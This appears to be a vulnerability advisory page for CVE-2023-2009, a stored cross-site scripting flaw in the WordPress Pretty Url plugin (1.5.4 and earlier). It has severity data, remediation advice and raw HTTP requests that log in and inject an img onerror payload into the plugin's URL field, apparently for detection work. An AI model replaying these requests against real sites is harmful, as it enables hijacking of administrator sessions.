🔙 목록으로 돌아가기

CVE-2023-2009: Pretty Url <= 1.5.4 - Cross-Site Scripting

TitlePretty Url <= 1.5.4 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactHigh-privilege authenticated attackers can inject stored XSS through the URL field in plugin settings, potentially compromising other administrator accounts even when unfiltered_html capability is disabled in WordPress multisite setups.
RemediationUpdate Pretty Url plugin to a version newer than 1.5.4 that properly sanitizes and escapes the URL field in plugin settings to prevent stored XSS attacks.
CVSS Score4.8
EPSS Score0.01944
CVE IDCVE-2023-2009
CWE IDCWE-79
Tags cve2023 cve wordpress wpscan wp-plugin wp authenticated pretty-url xss pretty_url_project vuln

🔍 Vulnerability Description

Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=((username))&pwd=gNWp3W&wp-submit=Log+In
GET /wp-admin/admin.php?page=prettyurls HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin.php?page=prettyurls HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 215
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

_wpnonce=LM3v9d&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dprettyurls&id=&category=accordions%7Epost_type&url=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&meta_title=&meta_description=&meta_keyword=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2009.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2009.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A